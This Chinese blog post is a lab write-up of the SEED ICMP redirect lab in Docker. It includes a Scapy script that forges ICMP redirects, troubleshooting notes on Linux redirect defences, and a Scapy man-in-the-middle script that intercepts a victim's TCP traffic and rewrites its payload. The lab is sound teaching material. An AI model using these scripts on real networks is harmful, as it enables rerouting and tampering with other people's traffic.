Featured image of post ICMP重定向与中间人攻击

ICMP重定向与中间人攻击

实验环境

我使用的是 Ubuntu 24.04.4,基本环境配置见ARP攻击原理学习

启动实验前先清理容器环境,防止被之前的网络配置干扰

1
sudo docker system prune -f

进入实验目录并启动

1
2
cd seed-labs/category-network/ICMP_Redirect/Labsetup
sudo docker compose up -d

遇到问题:报错Error response from daemon: interface specific sysctl setting "net.ipv4.conf.eth0.send_redirects" must be supplied using driver option 'com.docker.network.endpoint.sysctls'

编辑docker-compose.yml,删除这一行

1
- net.ipv4.conf.eth0.send_redirects=0

网络结构包括受害者、攻击者、真实网关、恶意路由器以及目标主机

节点 IP 地址 作用说明
受害者主机 10.9.0.5 攻击目标。初始路由指向 .11
真实路由器 10.9.0.11 连接两个网段的实际节点。它同时拥有 10.9.0.11 和 192.168.60.11 两个 IP
恶意路由器 10.9.0.111 攻击者诱导流量去往的中间人节点
攻击者主机 10.9.0.105 发送伪造 ICMP 重定向报文的节点
目标主机 192.168.60.5 位于另一个网段的通信目标
Docker 网关 10.9.0.1 Docker 虚拟网络的默认出口,不参与实验

ICMP 重定向攻击

ICMP Redirect 用于局域网优化路径。主机将数据包发送给网关时,如果网关发现存在更优的路径,会返回一个重定向报文来让主机更新路由缓存,之后的数据包就会经过新的网关。这个机制缺少认证,只要报文结构合法而且来源看似可信,就有可能被内核接受,因此可以伪造重定向来进行攻击

攻击目标是修改受害者的路由缓存,让受害者发往目标主机的流量途经恶意路由器

受害者

ICMP 重定向并不是无条件生效,需要存在对应的通信流量,否则内核可能直接忽略报文,因此必须让受害者与目标主机保持通信,这样重定向才有机会实行

进入受害者容器,执行ping命令且不中断

1
2
sudo docker exec -it victim-10.9.0.5 bash
ping 192.168.60.5

攻击者

攻击者需要伪造来自网关的 ICMP Type 5 Redirect 报文,告诉受害者访问目标时改走新的路由。需要满足两个条件:重定向报文必须伪装成网关发送,以及报文中必须包含受害者当前正在进行的通信信息。一般通过抓包监听,ARP 欺骗,局域网嗅探等获取此信息

进入攻击者容器

1
2
docker exec -it attacker-10.9.0.105 bash
cd /volumes

首先写一个脚本icmp_redirect.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from scapy.all import *

victim_ip = "10.9.0.5"
router_ip = "10.9.0.11"
attacker_ip = "10.9.0.111"
target_ip = "192.168.60.5"

# 构造受害者正在通信的数据包
send_packet = IP(src=victim_ip,dst=target_ip) / ICMP()

# 网关发给受害者一个ICMP重定向并附带数据包
redirect = IP(src=router_ip, dst=victim_ip) / \
           ICMP(type=5, code=1, gw=attacker_ip) / \
           send_packet

# 发送5次攻击报文
send(redirect, count=5, verbose=1)

发送伪造的 ICMP 重定向报文

1
python3 icmp_redirect.py

验证

原本受害者访问目标主机时的路径为受害者>网关>目标主机,攻击成功后会变成受害者>攻击者>目标主机

攻击完成后,停止受害者机器上的 ping 命令,在受害者容器查看路由缓存

1
ip route show

可以看到以下输出

1
2
3
default via 10.9.0.1 dev eth0 
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5 
192.168.60.0/24 via 10.9.0.11 dev eth0 
  • 第一行说明默认网关是10.9.0.1
  • 第二行说明10.9.0.x 网段就在本地,不需要经过网关,可以直接发送
  • 第三行说明访问 192.168.60.x 网段时走静态路由10.9.0.11

如果攻击成功,第三行应该显示的是10.9.0.111。攻击失败了,这是Docker中复杂的网络环境,以及现代Linux对ICMP重定向更严格的校验所导致,即使攻击报文成功发送,受害者也不一定更新缓存。因此手动添加路由进行模拟即可

1
ip route add 192.168.60.5 via 10.9.0.111

附:排查过程

容器

查看容器信息,并没有问题

1
2
sudo docker ps -a
sudo docker exec malicious-router-10.9.0.111 ip addr show eth0

在发包的时候进行抓包,可以看到0a09006f中6f对应111,这里也没有问题

1
tcpdump -i eth0 icmp -XX

修改脚本中的攻击者ip为10.9.0.100,删除路由缓存后重新进行攻击,发现路由缓存没有变化,说明这个路由并不是更新的动态缓存,而是写在Docker配置里的静态路由

1
ip route flush cache

查看docker-compose.yml,发现这一行,这说明受害者的默认路由被指向10.9.0.11,也就是刚刚输出的地址

1
2
3
4
5
victim:
    ...
   command: bash -c "
                      ip route add 192.168.60.0/24 via 10.9.0.11 &&
                      tail -f /dev/null

这里说明真正的路由器其实是10.9.0.11,而不是我最初以为的10.9.0.1。修改脚本中的路由器ip为10.9.0.11,重新发包后还是没有用

1
2
3
4
5
6
7
Router:
    ...
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.11
            net-192.168.60.0:
                ipv4_address: 192.168.60.11

发包

再次进行抓包,tcpdump -i eth0 -nn -vvv icmp

1
10.9.0.5 > 192.168.60.5: ICMP echo request, id 0, seq 0, length 8

这句话表示攻击报文中嵌套的原始数据包片段,声明受害者10.9.0.5正在向目标192.168.60.5发送一个8字节的Ping请求,内核通过核对这段嵌套信息与自身发出的真实流量是否一致,来决定是否接受路由重定向。这里说明发出的攻击包中确实附带了受害者最近的通信信息

删除受害者的静态路由,ping直接断掉,尝试发包依旧没有用

1
ip route del 192.168.60.0/24 via 10.9.0.11

验证攻击包到底有没有真的作用在受害者的网卡上,受害者执行tcpdump -i eth0 icmp -nn,输出如下,说明一切正常

1
13:40:45.647101 IP 10.9.0.11 > 10.9.0.5: ICMP redirect 192.168.60.5 to host 10.9.0.111, length 36

查看受害者内核计数器,ICMP messages failed为0,ICMP redirects received数量很多,说明大概率是内核拒绝了请求

内核

Linux 内核还有一个反向路径过滤的防御机制,内核收到 .1 发来的重定向包,但它会检查如果向这个地址发包,路径是否是收到包的网口,如果不符合或者路由不通就不更改,在受害者容器内进行关闭

1
2
3
sysctl -w net.ipv4.conf.all.accept_redirects=1
sysctl -w net.ipv4.conf.all.secure_redirects=0
sysctl -w net.ipv4.conf.all.rp_filter=0

还是失败了,又把最开始的.11添加回去,依旧不行,说明实验确实无法正常完成,只能进行模拟

中间人攻击

攻击的核心并不是重定向本身,而是通过重定向使流量经过攻击者,实现对流量的控制。此时攻击者已经处于通信路径中间,但默认情况下数据仍然是直接转发的,需要对数据进行拦截和修改。路由缓存有时间限制,中间人攻击需要在有效期内完成,否则需要重新进行重定向攻击

通信

在目标主机上开启监听

1
2
docker exec -it host-192.168.60.5 bash
nc -lp 9090

受害者发起连接

1
nc 192.168.60.5 9090

通信建立后,在恶意路由器上关闭内核转发,这是为了防止数据包在被脚本篡改之前就被系统转发走

1
2
docker exec -it malicious-router-10.9.0.111 bash
sysctl net.ipv4.ip_forward=0

攻击

进入脚本目录

1
cd /volumes

在恶意路由器写一个中间人脚本mitm_nc.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from scapy.all import *
import re

VICTIM_IP = "10.9.0.5"
HOST_IP = "192.168.60.5"
# 获取攻击者自身的 MAC,用于过滤
MY_MAC = get_if_hwaddr("eth0")

def spoof_pkt(pkt):
    # 过滤自身发送的数据包
    if pkt.src == MY_MAC:
        return

    # 仅处理 TCP/IP 数据包和 9090 端口通信
    if not pkt.haslayer(IP) or not pkt.haslayer(TCP):
        return
    if pkt[TCP].dport != 9090 and pkt[TCP].sport != 9090:
        return

    # 受害者发给目标主机,拦截并篡改数据
    if pkt[IP].src == VICTIM_IP and pkt[IP].dst == HOST_IP:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        
        if pkt.haslayer(Raw):
            data = pkt[Raw].load
            newdata = re.sub(rb'[^\r\n]',b'A',data)
            newpkt[Raw].load = newdata

        send(newpkt, verbose=False)


    # 目标主机发给受害者,正常转发返回流量
    elif pkt[IP].src == HOST_IP and pkt[IP].dst == VICTIM_IP:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=False)

# 抓取 Victim 与 Host 间的 9090 TCP 流量
f = f'tcp and port 9090 and (host {VICTIM_IP} and host {HOST_IP})'

sniff(iface="eth0",filter=f,prn=spoof_pkt,store=0)

运行中间人脚本

1
python3 mitm_nc.py

验证

在受害者端发送任意字符串,目标主机接收到的内容被替换为相同长度的A,这说明数据已在传输过程中被修改

Like 0
本站已不稳定运行 天 小时 分钟
共发表文章 33 篇 ,总计 164.58 k 字
本站总访问量: 次